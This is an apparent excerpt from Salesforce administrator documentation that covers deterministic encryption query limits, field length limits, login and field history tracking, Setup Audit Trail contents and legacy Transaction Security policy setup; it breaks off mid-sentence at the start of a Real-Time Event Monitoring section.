In reports and list views, the operators "equals" and "not equal to" are supported with case-sensitive deterministic encryption. Other operators, like "contains" or "starts with," don't return an exact match and aren't supported. Refine By filters and other features that use "contains", "starts with" operators also aren't supported.
Case-insensitive deterministic encryption supports list views and reports. However, the user interface displays all operators, including operators that aren't supported for encrypted data. To review the list of supported operators, see Use Encrypted Data in Formulas.

Case Sensitivity
When you use case-sensitive deterministic encryption, case matters. In reports, list views, and SOQL queries on encrypted fields, the results are case-sensitive. Therefore, a SOQL query against the Contact object, where LastName = Jones, returns only Jones, not jones or JONES. Similarly, when the case-sensitive deterministic scheme tests for unicity (uniqueness), each version of "Jones" is unique.

Custom Field Allocations
To allow case-insensitive queries, Salesforce stores a lowercase duplicate of your data as a custom field in the database. These duplicates are necessary to enable case-insensitive queries, but they count against your total custom field count.

API Options to Identify Filterable Fields
Fields encrypted using the deterministic encryption scheme are filterable. You can use the isFilterable() method to determine the encryption scheme of a particular encrypted field. If the field is filterable, the method returns true.
However, you can't explicitly detect or set the deterministic encryption scheme via the API.

External ID
Case-insensitive deterministic encryption supports Text and Email external ID custom fields but not other external ID custom fields. When you create or edit these fields, use one of the following field setting combinations.

<table>
<thead>
<tr>
<th>External ID Field Type</th>
<th>Unique Attributes</th>
<th>Encrypted</th>
</tr>
</thead>
<tbody>
<tr>
<td>Text</td>
<td>None</td>
<td>Use case-insensitive deterministic encryption</td>
</tr>
<tr>
<td>Text</td>
<td>Unique and case sensitive</td>
<td>Use case-sensitive deterministic encryption</td>
</tr>
<tr>
<td>Text</td>
<td>Unique and case insensitive</td>
<td>Use case-insensitive deterministic encryption</td>
</tr>
<tr>
<td>Email</td>
<td>None</td>
<td>Use case-insensitive deterministic encryption</td>
</tr>
<tr>
<td>External ID Field Type</td>
<td>Unique Attributes</td>
<td>Encrypted</td>
</tr>
<tr>
<td>------------------------</td>
<td>------------------</td>
<td>-----------</td>
</tr>
<tr>
<td>Email</td>
<td>Unique</td>
<td>Use case-sensitive deterministic encryption</td>
</tr>
</tbody>
</table>

You can’t save changes to both Unique - Case-Sensitive and Encrypted options at the same time. Change one setting, save it, then change the next.

**Compound Fields**

Even with deterministic encryption, some kinds of searches don’t work when data is encrypted with case-sensitive deterministic encryption. Concatenated values, such as compound names, aren’t the same as the separate values. For example, the ciphertext for the compound name “William Jones” is not the same as the concatenation of the ciphertexts for “William” and “Jones”.

So, if the First Name and Last Name fields are encrypted in the Contacts object, this query doesn’t work:

```sql
Select Id from Contact Where Name = 'William Jones'
```

But this query does work:

```sql
Select Id from Contact Where FirstName = 'William’ And LastName = 'Jones'
```

Case-insensitive deterministic encryption supports compound fields.

**Filter Records by Strings**

You can search for records using strings. However, commas in strings act as OR statements. If your string includes a comma, use quotation marks around the string. For example, a search for “Universal Containers, Inc, Berlin” returns records that include the full string, including the comma. Searches for "Universal Containers, Inc, Berlin" returns records that include “Universal Containers” or “Inc” or "Berlin”.

**SOQL GROUP BY Statements**

You can use most of the SOQL statements with deterministic encryption. One exception is GROUP BY, which isn’t supported, even though you can group report results by row or column.

**SOQL LIKE and STARTS WITH Statements**

Deterministic encryption only supports exact, case-sensitive matches. Comparison operators that return partial matches aren’t supported. For example, LIKE and STARTS WITH statements aren’t supported.

**SOQL ORDER BY Statements**

Because deterministic encryption doesn’t maintain the sort order of encrypted data in the database, ORDER BY isn’t supported.

**Indexes**

Case-sensitive deterministic encryption supports single-column indexes, single-column case-sensitive unique indexes, two-column indexes, and custom indexes on standard and custom fields.
Case-insensitive deterministic encryption supports standard indexes on email fields on the Contact and Lead objects, and the Email Message—Relation field. However, you might see slower performance on these fields when they’re encrypted with the case-insensitive deterministic scheme.

**Shield Platform Encryption and the Lightning Experience**

Shield Platform Encryption works the same way in the Lightning Experience as it does in Salesforce Classic, with a few minor exceptions.

**Notes**

Note previews in Lightning are not encrypted.

**File Encryption Icon**

The icon that indicates that a file is encrypted doesn’t appear in Lightning.

**Field Limits with Shield Platform Encryption**

Under certain conditions, encrypting a field can impose limits on the values that you store in that field. If you expect users to enter non-ASCII values, such as Chinese, Japanese, or Korean-encoded data, we recommend creating validation rules to enforce these field limits.

<table>
<thead>
<tr>
<th>Field</th>
<th>API Length</th>
<th>Byte Length</th>
<th>Non-ASCII Characters</th>
</tr>
</thead>
<tbody>
<tr>
<td>Assistant Name (Contact)</td>
<td>40</td>
<td>120</td>
<td>22</td>
</tr>
<tr>
<td>Address (To, CC, BCC on Email Message)</td>
<td>3000</td>
<td>4000</td>
<td>2959</td>
</tr>
<tr>
<td>City (Account, Contact, Lead)</td>
<td>40</td>
<td>120</td>
<td>22</td>
</tr>
<tr>
<td>Email (Contact, Lead)</td>
<td>80</td>
<td>240</td>
<td>70</td>
</tr>
<tr>
<td>Fax (Account)</td>
<td>40</td>
<td>120</td>
<td>22</td>
</tr>
<tr>
<td>First Name (Account, Contact, Lead)</td>
<td>40</td>
<td>120</td>
<td>22</td>
</tr>
<tr>
<td>Last Name (Contact, Lead)</td>
<td>80</td>
<td>240</td>
<td>70</td>
</tr>
<tr>
<td>Middle Name (Account, Contact, Lead)</td>
<td>40</td>
<td>120</td>
<td>22</td>
</tr>
<tr>
<td>Name (Custom Object) (beta)</td>
<td>80</td>
<td>240</td>
<td>80</td>
</tr>
<tr>
<td>Name (Opportunity)</td>
<td>120</td>
<td>360</td>
<td>110</td>
</tr>
<tr>
<td>Phone (Account, Contact)</td>
<td>40</td>
<td>120</td>
<td>22</td>
</tr>
<tr>
<td>Site (Account)</td>
<td>80</td>
<td>240</td>
<td>70</td>
</tr>
</tbody>
</table>
### Case Comment Object

The Body field on the Case Comment object has a limit of 4,000 ASCII characters (or 4,000 bytes). However, when these fields are encrypted, the character limit is lower. How much lower depends on the kind of characters you enter.

- ASCII: 2959
- Chinese, Japanese, Korean: 1333
- Other non-ASCII: 1479

Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the difference?

### Which Salesforce Apps Don’t Support Shield Platform Encryption?

Some Salesforce features work as expected when you work with data that’s encrypted with Shield Platform Encryption. Others don’t.

These apps don’t support data encrypted with Shield Platform Encryption. However, you can enable Shield Platform Encryption for other apps when these apps are in use.

- Connect Offline
- Commerce Cloud (Salesforce B2B Commerce version 4.10 and later is supported)
- Data.com
- Einstein Engine
- Heroku (but Heroku Connect does support encrypted data)
- Marketing Cloud (but Marketing Cloud Connect does support encrypted data)
- Salesforce CPQ
- Salesforce IQ
- Social Customer Service
- Thunder
- Quip
- Salesforce Billing

Legacy portals (customer, self-service, and partner) don’t support data encrypted with Shield Platform Encryption. If legacy portals are active, Shield Platform Encryption can’t be enabled.

Note: This page is about Shield Platform Encryption, not Classic Encryption. What’s the difference?
Monitoring Your Organization’s Security

Track login and field history, monitor setup changes, and take actions based on events.

Review the following sections for detailed instructions and tips on monitoring the security of your Salesforce organization.

IN THIS SECTION:

Monitor Login History
Admins can monitor all login attempts for their org and enabled portals or communities. The Login History page shows up to 20,000 records of user logins for the past six months. To see more records, download the information to a CSV or GZIP file.

Field History Tracking
You can select certain fields to track and display the field history in the History related list of an object. Field history data is retained for up to 18 months through your org, and up to 24 months via the API.

Monitor Setup Changes
Setup Audit Trail tracks the recent setup changes that you and other admins have made to your org. Audit history is especially useful in orgs with multiple admins.

Transaction Security Policies (Legacy)
Transaction Security is a framework that intercepts real-time Salesforce events and applies appropriate actions and notifications based on security policies you create. Transaction Security monitors events according to the policies that you set up. When a policy is triggered, you can receive a notification and have an optional action taken.

Monitor Login History

Admins can monitor all login attempts for their org and enabled portals or communities. The Login History page shows up to 20,000 records of user logins for the past six months. To see more records, download the information to a CSV or GZIP file.

Download Login History
You can download the past six months of user logins to your Salesforce org. This report includes logins through the API.

1. From Setup, enter Login History in the Quick Find box, then select Login History.
2. Select the file format to use.
   - CSV File
   - GZIP File—Because the file is compressed, it’s the preferred option for the quickest download time.
3. Select the file contents. The All Logins option includes API access logins.
4. Click Download Now.

Create List Views
You can create list views sorted by login time and login URL. For example, you can create a view of all logins in a particular time range. Like the default view, a custom view shows up to 20,000 records of login history during the past six months.

1. On the Login History page, click Create New View.
2. Enter the name to appear in the View dropdown list.

3. Specify the filter criteria.

4. Select the fields to display.
   
   You can choose up to 15 fields. You can display only the fields that are available in your page layout. Text area fields display up to 255 characters.

   **Note:** Due to the nature of geolocation technology, the accuracy of geolocation fields (for example, country, city, postal code) can vary.

### View Your Login History

You can view your personal login history.

1. From your personal settings, enter **Login History** in the Quick Find box, then select **Login History**. No results? Enter **Personal Information** in the Quick Find box, then select **Personal Information**.

2. To download a CSV file of your login history for the past six months, click **Download**.

### HTTP Login Method

View the HTTP method used for the session login: POST, GET, or Unknown. You can use this information to determine if a user is inadvertently exposing user credentials through a GET request.

For example, if a user entered a username and password on the login page, the HTTP method for login is a secure POST request. However, if the user logged in by providing the username and password in the URL as a GET request, the credentials are exposed.

From Setup, enter **Login History** in the Quick Find box, then select **Login History** and view the HTTP Method column.

### Single Sign-On with SAML

If your org uses SAML single sign-on identity provider certificates, single sign-on logins appear in the history.

### My Domain

If you are using My Domain, you can identify which users are logging in with the new login URL and when. From Setup, enter **Login History** in the Quick Find box, then select **Login History** and view the Username and Login URL columns.

### License Manager Users

The Login History page sometimes includes internal users with names in the format 033********2@00d2********db. These users are associated with the License Management App (LMA), which manages the number of licenses used by a subscriber org. These internal users can appear in the License Management org (LMO) and in subscriber orgs in which an AppExchange package managed by the LMA is installed.
Field History Tracking

You can select certain fields to track and display the field history in the History related list of an object. Field history data is retained for up to 18 months through your org, and up to 24 months via the API.

You can track the field history of custom objects and the following standard objects.

- Accounts
- Articles
- Assets
- Campaigns
- Cases
- Contacts
- Contracts
- Contract line items
- Entitlements
- Leads
- Opportunities
- Orders
- Order Products
- Products
- Price Book Entries
- Service Contracts
- Solutions

Modifying any of these fields adds an entry to the History related list. All entries include the date, time, nature of the change, and who made the change. Not all field types are available for historical trend reporting. Certain changes, such as case escalations, are always tracked.

**Note:** Since the Spring ’15 release, increasing the entity field history retention period beyond the standard 18 to 24 months requires the purchase of the Field Audit Trail add-on. When the add-on subscription is enabled, your field history retention period is changed to reflect the retention policy provided with your subscription. If your org was created before June 1, 2011, Salesforce continues to retain all field history. If your org was created on or after June 1, 2011 and you decide not to purchase the add-on, Salesforce retains your field history for the standard 18 to 24 months.

Consider the following when working with field history tracking.

- Use Data Loader or the `queryAll()` API to retrieve field history that is from 18 to 24 months old.
- Changes to fields with more than 255 characters are tracked as edited, and their old and new values are not recorded.
- Tracked field values are not automatically translated; they display in the language in which they were made. For example, if a field is changed from `Green` to `Verde`, `Verde` is displayed no matter what a user’s language is, unless the field value has been translated into other languages via the Translation Workbench. This behavior also applies to record types and picklist values.
- Changes to custom field labels that have been translated via the Translation Workbench are shown in the locale of the user viewing the History related list. For example, if a custom field label is `Red` and translated into Spanish as `Rojo`, then a user with a Spanish locale sees the custom field label as `Rojo`. Otherwise, the user sees the custom field label as `Red`.
• Changes to date fields, number fields, and standard fields are shown in the locale of the user viewing the History related list. For example, a date change to August 5, 2012 shows as 8/5/2012 for a user with the English (United States) locale, and as 5/8/2012 for a user with the English (United Kingdom) locale.

• If a trigger causes a change on an object the current user doesn’t have permission to edit, that change is not tracked. Field history honors the permissions of the current user.

• In Lightning, you can see gaps in numerical order in the Created Date and ID fields. All tracked changes still are committed and recorded to your audit log. However, the exact time that those changes occur in the database can vary widely and aren’t guaranteed to occur within the same millisecond. For example, there can be triggers or updates on a field that increase the commit time, and you can see a gap in time. During that time period, IDs are created in increasing numerical order but can also have gaps for the same reason.

• Changes to time fields aren’t tracked in the field history related list.

IN THIS SECTION:

Track Field History for Standard Objects
You can enable field history tracking for standard objects in the object’s management settings.

Track Field History for Custom Objects
You can enable field history tracking for custom objects in the object’s management settings.

Disable Field History Tracking
You can turn off field history tracking from the object’s management settings.

Field Audit Trail
Field Audit Trail lets you define a policy to retain archived field history data up to 10 years from the time the data was archived. This feature helps you comply with industry regulations related to audit capability and data retention.

Track Field History for Standard Objects
You can enable field history tracking for standard objects in the object’s management settings.

If you use both business accounts and person accounts, keep in mind that:

• Field history tracking for accounts applies to both business and person accounts, so the 20-field maximum includes both types of accounts.

• Changes made directly to a person contact record aren’t tracked by field history.

To set up field history tracking:

1. From the management settings for the object whose field history you want to track, go to the fields area.

2. Click Set History Tracking.

   Tip: When you enable tracking for an object, customize your page layouts to include the object’s history related list.

3. For accounts, contacts, leads, and opportunities, select the Enable Account History, Enable Contact History, Enable Lead History, or Enable Opportunity History checkbox.

4. Choose the fields you want tracked.

   You can select a combination of up to 20 standard and custom fields per object. For accounts, this limit includes fields for both business accounts and person accounts.
Certain changes, such as case escalations, are always tracked.

You can’t track the following fields:

- Formula, roll-up summary, or auto-number fields
- Created By and Last Modified By
- Fields that have the AI Prediction checkbox selected
- Expected Revenue field on opportunities
- Master Solution Title or the Master Solution Details fields on solutions; these fields display only for translated solutions in organizations with multilingual solutions enabled.

5. Click Save.

Salesforce tracks history from this date and time forward. Changes made prior to this date and time are not included.

Track Field History for Custom Objects

You can enable field history tracking for custom objects in the object’s management settings.

1. From Setup, enter Object Manager in the Quick Find box, then select Object Manager.
2. Click the custom object, and click Edit.
3. Under Optional Features, select the Track Field History checkbox.

   Tip: When you enable tracking for an object, customize your page layouts to include the object’s history related list.

4. Save your changes.
5. Click Set History Tracking in the Custom Fields & Relationships section.

   This section lets you set a custom object’s history for both standard and custom fields.

6. Choose the fields you want tracked.

   You can select up to 20 standard and custom fields per object. You can’t track:
   - Formula, roll-up summary, or auto-number fields
   - Created By and Last Modified By
   - Fields that have the AI Prediction checkbox selected

7. Click Save.

   Salesforce tracks history from this date and time forward. Changes made prior to this date and time are not included.
Disable Field History Tracking

You can turn off field history tracking from the object’s management settings.

Note: If Apex references one of an object’s fields, you can’t disable field history tracking for that object.

1. From the management settings for the object whose field history you want to stop tracking, go to Fields.
2. Click Set History Tracking.
3. Deselect the enable history for the object you are working with—for example, Enable Account History, Enable Contact History, Enable Lead History, or Enable Opportunity History.
   The History related list is automatically removed from the associated object’s page layouts.
   If you disable field history tracking on a standard object, you can still report on its history data up to the date and time that you disabled tracking. If you disable field history tracking on a custom object, you cannot report on its field history.
4. Save your changes.

Field Audit Trail

Field Audit Trail lets you define a policy to retain archived field history data up to 10 years from the time the data was archived. This feature helps you comply with industry regulations related to audit capability and data retention.

Use Salesforce Metadata API to define a retention policy for your field history for fields that have field history tracking enabled. Then use REST API, SOAP API, and Tooling API to work with your archived data. For information about enabling Field Audit Trail, contact your Salesforce representative.

Field history is copied from the History related list into the FieldHistoryArchive big object. You define one HistoryRetentionPolicy for your related history lists, such as Account History, to specify Field Audit Trail retention policies for the objects you want to archive. Then use Metadata API to deploy the big object. You can update the retention policy on an object as often as you like. With Field Audit Trail, you can track up to 60 fields per object. Without it, you can track only 20 fields per object. With Field Audit Trail, you retain archived field history data up to 10 years from the time the data was archived. Without it, you retain archived data for only 18 months.

You can set field history retention policies on these objects.

- Accounts, including Person Accounts
- Assets
- Campaigns
- Cases
- Contacts
- Contracts
• Contract Line Items
• Entitlements
• Individuals
• Leads
• Opportunities
• Orders
• Order Products
• Price Books
• Price Book Entries
• Products
• Service Appointments
• Service Contracts
• Solutions
• Work Orders
• Work Order Line Items
• Custom objects with field history tracking enabled

**Note:** Once Field Audit Trail is enabled, *HistoryRetentionPolicy* is automatically set on the supported objects. By default, data is archived after 18 months in a production organization, after one month in a sandbox organization, and all archived data is stored for 10 years. The default retention policy is not included when retrieving the object’s definition through the Metadata API. Only custom retention policies are retrieved along with the object definition.

You can include field history retention policies in managed and unmanaged packages.

The following fields can’t be tracked.

• Formula, roll-up summary, or auto-number fields
• Created By and Last Modified By
• Expected Revenue field on opportunities
• Master Solution Title or the Master Solution Details fields on solutions
• Long text fields
• Multi-select fields

After you define and deploy a Field Audit Trail policy, production data is migrated from related history lists such as Account History into the *FieldHistoryArchive* big object. The first copy writes the field history that’s defined by your policy to archive storage and sometimes takes a long time. Subsequent copies transfer only the changes since the last copy and are much faster. A bounded set of SOQL is available to query your archived data.

Use Async SOQL to build aggregate reports from a custom object based on the volume of the data in the *FieldHistoryArchive* big object.

**Important:** If platform encryption is enabled on the org, then AsyncSOQL on *FieldHistoryArchive* is not supported.

**Tip:** Previously archived data remains unencrypted if you turn on Platform Encryption later. For example, your organization uses Field Audit Trail to define a data history retention policy for an account field, such as the phone number field. After enabling Platform Encryption, you turn on encryption for that field, and phone number data in the account is encrypted. New phone number records and previous updates stored in the Account History related list are encrypted. However, phone number history data that is already archived in the *FieldHistoryArchive* object remains stored without encryption. If your organization wants to
encrypt previously archived data, contact Salesforce. We encrypt and rearchive the stored field history data, then delete the unencrypted archive.

Monitor Setup Changes

Setup Audit Trail tracks the recent setup changes that you and other admins have made to your org. Audit history is especially useful in orgs with multiple admins.

To view the audit history, from Setup, enter View Setup Audit Trail in the Quick Find box, then select View Setup Audit Trail. To download your org’s complete setup history for the past 180 days, click Download. After 180 days, setup entity records are deleted.

The history shows the 20 most recent setup changes made to your org. It lists the date of the change, who made it, and what the change was. If a delegate (like an admin or customer support representative) makes a setup change on behalf of an end user, the Delegate User column shows the delegate’s username. For example, if a user grants login access to an admin and the admin makes a setup change, the admin’s username is listed.

Setup Audit Trail tracks these changes.

<table>
<thead>
<tr>
<th>Setup</th>
<th>Changes Tracked</th>
</tr>
</thead>
<tbody>
<tr>
<td>Administration</td>
<td>• Company information, default settings like language or locale, and company messages</td>
</tr>
<tr>
<td></td>
<td>• Multiple currency</td>
</tr>
<tr>
<td></td>
<td>• Users, portal users, roles, permission sets, and profiles</td>
</tr>
<tr>
<td></td>
<td>• Email addresses for any user</td>
</tr>
<tr>
<td></td>
<td>• Deleting email attachments sent as links</td>
</tr>
<tr>
<td></td>
<td>• Email footers, including creating, editing, or deleting</td>
</tr>
<tr>
<td></td>
<td>• Record types, including creating or renaming record types and assigning record types to profiles</td>
</tr>
<tr>
<td></td>
<td>• Divisions, including creating, editing, and transferring and changing users’ default division</td>
</tr>
<tr>
<td></td>
<td>• Certificates, adding or deleting</td>
</tr>
<tr>
<td></td>
<td>• Domain names</td>
</tr>
<tr>
<td></td>
<td>• Enabling or disabling Salesforce as an identity provider</td>
</tr>
</tbody>
</table>

| Customization | • User interface settings like collapsible sections, Quick Create, hover details, or related list hover links |
|              | • Page layout, action layout, and search layouts                                 |
|              | • Compact layouts                                                               |
|              | • Salesforce app navigation menu                                                |
|              | • Inline edits                                                                  |
|              | • Custom fields and field-level security, including formulas, picklist values, and field attributes like the auto-number field format, field manageability, or masking of encrypted fields |
|              | • Lead settings, lead assignment rules, and lead queues                          |

EDITIONS
Available in: both Salesforce Classic and Lightning Experience

Available in: Contact Manager, Essentials, Group, Professional, Enterprise, Performance, Unlimited, Developer, and Database.com Editions

USER PERMISSIONS
To view audit trail history:
• View Setup and Configuration
## Setup

### Changes Tracked

- Activity settings
- Support settings, business hours, case assignment and escalation rules, and case queues
- Requests to Salesforce Customer Support
- Tab names, including tabs that you reset to the original tab name
- Custom apps (including Salesforce console apps), custom objects, and custom tabs
- Contract settings
- Forecast settings
- Email-to-Case or On-Demand Email-to-Case, enabling or disabling
- Custom buttons, links, and s-controls, including standard button overrides
- Drag-and-drop scheduling, enabling or disabling
- Similar opportunities, enabling, disabling, or customizing
- Quotes, enabling or disabling
- Data category groups, data categories, and category-group assignments to objects
- Article types
- Category groups and categories
- Salesforce Knowledge settings
- Ideas settings
- Answers settings
- Field tracking in feeds
- Campaign influence settings
- Critical updates, activating or deactivating
- Chatter email notifications, enabling or disabling
- Chatter new user creation settings for invitations and email domains, enabling or disabling
- Validation rules

---

## Security and Sharing

### Public groups, sharing rules, and org-wide sharing, including the Grant Access Using Hierarchies option
- Password policies
- Password resets
- Session settings, like session timeout (excluding session timeout after and session security level required at login profile settings)
- Delegated administration groups and the items delegated admins can manage (setup changes made by delegated administrators are also tracked)
- Lightning Login, enabling or disabling, enrollments, and cancellations
- How many records a user permanently deleted from their Recycle Bin and from the Org Recycle Bin
- SAML (Security Assertion Markup Language) configuration settings
- Salesforce certificates
- Identity providers, enabling or disabling
- Named credentials
- Service providers
<table>
<thead>
<tr>
<th>Setup</th>
<th>Changes Tracked</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>• Shield Platform Encryption setup</td>
</tr>
<tr>
<td></td>
<td>• Some connected app policy and setting updates</td>
</tr>
<tr>
<td>Data Management</td>
<td>• Mass delete use, including when a mass delete exceeds the user’s Recycle Bin limit on deleted records</td>
</tr>
<tr>
<td></td>
<td>• Data export requests</td>
</tr>
<tr>
<td></td>
<td>• Mass transfer use</td>
</tr>
<tr>
<td></td>
<td>• Reporting snapshots, including defining, deleting, or changing the source report or target object on a reporting snapshot</td>
</tr>
<tr>
<td></td>
<td>• Use of the Data Import Wizard</td>
</tr>
<tr>
<td></td>
<td>• Sandbox deletions</td>
</tr>
<tr>
<td>Development</td>
<td>• Apex classes and triggers</td>
</tr>
<tr>
<td></td>
<td>• Visualforce pages, custom components, and static resources</td>
</tr>
<tr>
<td></td>
<td>• Lightning pages</td>
</tr>
<tr>
<td></td>
<td>• Action link templates</td>
</tr>
<tr>
<td></td>
<td>• Custom settings</td>
</tr>
<tr>
<td></td>
<td>• Custom metadata types and records</td>
</tr>
<tr>
<td></td>
<td>• Remote access definitions</td>
</tr>
<tr>
<td></td>
<td>• Salesforce Sites settings</td>
</tr>
<tr>
<td>Various Setup</td>
<td>• API usage metering notification, creating</td>
</tr>
<tr>
<td></td>
<td>• Territories</td>
</tr>
<tr>
<td></td>
<td>• Process automation settings</td>
</tr>
<tr>
<td></td>
<td>• Approval processes</td>
</tr>
<tr>
<td></td>
<td>• Workflow actions, creating or deleting</td>
</tr>
<tr>
<td></td>
<td>• Flows</td>
</tr>
<tr>
<td></td>
<td>• Packages from Salesforce AppExchange that you installed or uninstalled</td>
</tr>
<tr>
<td>Using the application</td>
<td>• Account team and opportunity team selling settings</td>
</tr>
<tr>
<td></td>
<td>• Activating Google Apps services</td>
</tr>
<tr>
<td></td>
<td>• Mobile configuration settings, including data sets, mobile views, and excluded fields</td>
</tr>
<tr>
<td></td>
<td>• Users with the “Manage External Users” permission logging in to the partner portal as partner users</td>
</tr>
<tr>
<td></td>
<td>• Users with the “Edit Self-Service Users” permission logging in to the Salesforce Customer Portal as Customer Portal users</td>
</tr>
<tr>
<td></td>
<td>• Partner portal accounts, enabling or disabling</td>
</tr>
<tr>
<td></td>
<td>• Salesforce Customer Portal accounts, disabling</td>
</tr>
<tr>
<td></td>
<td>• Salesforce Customer Portal, enabling or disabling</td>
</tr>
<tr>
<td></td>
<td>• Creating multiple Customer Portals</td>
</tr>
<tr>
<td></td>
<td>• Entitlement processes and entitlement templates, changing or creating</td>
</tr>
</tbody>
</table>
Transaction Security Policies (Legacy)

Transaction Security is a framework that intercepts real-time Salesforce events and applies appropriate actions and notifications based on security policies you create. Transaction Security monitors events according to the policies that you set up. When a policy is triggered, you can receive a notification and have an optional action taken.

Policies evaluate activity using events that you specify. For each policy, you define real-time actions, such as notify, block, force two-factor authentication, freeze user, or end a session.

For example, suppose that you activate the Concurrent Sessions Limiting policy to limit the number of concurrent sessions per user. In addition, you change the policy to notify you via email when the policy is triggered. You also update the policy’s Apex implementation to limit users to three sessions instead of the default five sessions. (That’s easier than it sounds.) Later, someone with three login sessions tries to create a fourth. The policy prevents that and requires the user to end one of the existing sessions before proceeding with the new session. At the same time, you are notified that the policy was triggered.

The Transaction Security architecture uses the Security Policy Engine to analyze events and determine the necessary actions.

A transaction security policy consists of events, notifications, and actions. For example, when a user tries to export Account data, you can block the operation and get notified by email.
IN THIS SECTION:

Set Up Transaction Security
Activate and configure transaction security on your org before creating your own custom policies. Only an active user assigned the System Administrator profile can use this feature.

Create Legacy Transaction Security Policies
Create your own custom legacy policies triggered by specific events. Only an active user assigned the System Administrator profile can use this feature.

Apex Policies for Transaction Security

Set Up Transaction Security
Activate and configure transaction security on your org before creating your own custom policies. Only an active user assigned the System Administrator profile can use this feature.

1. Enable transaction security policies to make them available for use.
   a. From Setup, enter Transaction Security in the Quick Find box, and then select Transaction Security Policies.
   b. Click Enable.

2. Set the Transaction Security preferences for your org.
   b. Select When users exceed the maximum number of Salesforce sessions allowed, close the oldest session.

Login policies affect programmatic access and access from Salesforce Classic and Lightning Experience. When you create a policy that limits the number of concurrent user sessions, all sessions count toward that limit. Regular logins with a username and password, logins by web applications, logins using Authentication Providers, and all other login types are considered.

The session limit isn’t a problem in Salesforce Classic or Lightning Experience because you’re prompted to select which session or sessions to end. That choice isn’t available from within a program, so the program receives a Transaction Security exception that the session limit has been reached.

To prevent this problem, select When users exceed the maximum number of Salesforce sessions allowed, close the oldest session. Then when a programmatic request is made that exceeds the number of sessions allowed, older sessions are ended until the session count is below the limit. The setting also works for logins from the UI. Instead of being asked to select a session to end, the oldest session is automatically ended, and the new login proceeds for the new session. Here’s how the OAuth flows handle login policies with and without the preference being set.
<table>
<thead>
<tr>
<th>Flow Type</th>
<th>Action If Preference Is Selected</th>
<th>Action If Preference Is Not Selected</th>
</tr>
</thead>
<tbody>
<tr>
<td>OAuth 2.0 web server</td>
<td>Authorization Code and Access Token granted. Older sessions are ended until you’re within policy compliance.</td>
<td>Authorization Code granted, but Access Token not granted. Older sessions are ended until you’re within policy compliance.</td>
</tr>
<tr>
<td>OAuth 2.0 user-agent</td>
<td>Access Token granted. Older sessions are ended until you’re within policy compliance.</td>
<td>Access Token granted. Older sessions are ended until you’re within policy compliance.</td>
</tr>
<tr>
<td>OAuth 2.0 refresh token flow</td>
<td>Access Token granted. Older sessions are ended until you’re within policy compliance.</td>
<td>TXN_SECURITY_END_SESSION exception</td>
</tr>
<tr>
<td>OAuth 2.0 JWT bearer token</td>
<td>Access Token granted. Older sessions are ended until you’re within policy compliance.</td>
<td>TXN_SECURITY_END_SESSION exception</td>
</tr>
<tr>
<td>OAuth 2.0 SAML bearer assertion</td>
<td>Access granted. Older sessions are ended until you’re within policy compliance.</td>
<td>TXN_SECURITY_END_SESSION exception</td>
</tr>
<tr>
<td>OAuth 2.0 username and password</td>
<td>Access granted. Older sessions are ended until you’re within policy compliance.</td>
<td>Access denied due to more than the number of sessions allowed by the policy</td>
</tr>
<tr>
<td>SAML assertion</td>
<td>Not applicable</td>
<td>Not applicable</td>
</tr>
</tbody>
</table>

For more information on authentication flows, see Authenticate Apps with OAuth in Salesforce Help.
Create Legacy Transaction Security Policies

Create your own custom legacy policies triggered by specific events. Only an active user assigned the System Administrator profile can use this feature.

**Important:** This topic discusses only how to create a legacy transaction security policy. For details on creating an enhanced policy, see [Build a Transaction Security Policy with Condition Builder](https://trailhead.salesforce.com/lp/basics/addition-security) or [Create a Transaction Security Policy That Uses Apex](https://trailhead.salesforce.com/lp/basics/addition-security).

You can create multiple policies for the same type of event, but we recommend that your policies and their actions don’t overlap. If multiple policies with the same action for a given event execute when the event occurs, their order of execution is indeterminate.

1. From Setup, enter Transaction in the Quick Find box, select Transaction Security Policies, and then click New.
2. Click Apex then Next.
3. Click Transaction Security Policy (the legacy version of transaction security.)
4. Select the event type and associated resource that your policy monitors.
   
   **Note:** AccessResource event policies don’t trigger when Dashboard Subscriptions send an email. These policies still trigger when users access resources directly from a dashboard. Lightning Experience supports only the Feed Comment and Feed Item resources, while Salesforce Classic supports all Chatter resources. You can’t create a Data Export event policy for joined reports, historical reports, or custom report types.

5. If you’re creating an Apex-based policy in a non-production environment, in Apex Class, select New Empty Apex Class. (Transaction Security creates a stub, or placeholder, Apex policy condition.) Otherwise, use an existing Apex policy condition.

6. Select what the policy does when triggered and who is notified and how. Any users you select must have Modify All Data and View Setup permissions.
   
   **Note:** Although you’re required to enter a user in the Execute Policy As field, the automated process user always executes the policy.

   The actions available vary depending on the event type. For login and resource events, you can also block the action or require a higher level of access control with two-factor authentication. For Chatter events, you can freeze the user or block the post. For Login events, you can require ending an existing session before continuing with the current session. You can set the default action for ending a session to always close the oldest session. For more information, see What Are Transaction Security Actions?

   If you’re creating an Apex-based policy and use an API callout in the Apex class, you must select an action. If you select None as the action, the policy can’t execute.

   **Note:** Two-factor authentication is not available in the Salesforce app or Lightning Experience for the Resource Access event type. The Block action is used instead.

   Enter a user that has Modify All Data and View Setup permissions in the Execute Policy As field. However, the automated process user always executes the policy, regardless of the user you enter.

7. Choose a descriptive name for your policy. Your policy name can contain only underscores and alphanumeric characters, and must be unique in your org. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores.

8. To enable the policy after you create it, in Status, switch to Enabled. (You can always disable it later from the Transaction Security Policies page.)
9. Click Finish.

If you're in a non-production environment and you selected New Empty Apex Class for your new policy, modify the generated Apex class now before activating your policy. Click the Apex class name to get started, and add the condition that triggers the policy. See Apex Policies for Transaction Security for examples.

Apex Policies for Transaction Security


If you didn’t specify a condition value before you generated the Apex interface for a policy, you can add the condition later. To change the condition, you can edit the Apex code to include a condition before you activate your policy. If you don’t include a condition, your policy isn’t triggered.

Don’t include DML statements in your custom policies because they can cause errors. When you send a custom email via Apex during transaction policy evaluation, you get an error, even if the record is not explicitly related to another record. For more information, see Apex DML Operations in the Apex Developer Guide.

When you delete a transaction security policy, your TxnSecurity.PolicyCondition or TxnSecurity.EventCondition implementation isn’t deleted. You can reuse your Apex code in other policies.

If you use an API callout in the Apex class that implements TxnSecurity.PolicyCondition, you must select an action when you create the Transaction Security policy in Setup. If you select None as the action, the policy can’t execute. For more information, see Invoking Callouts Using Apex in the Apex Developer Guide.

Real-Time Event Monitoring

Real-Time Event Monitoring helps you monitor and detect standard events in Salesforce in near real-time. You can store the event data for auditing or reporting purposes. You can create transaction security policies using Condition Builder—a point-and-click tool—or Apex code.

With Real-Time Event Monitoring, gain greater insights into:

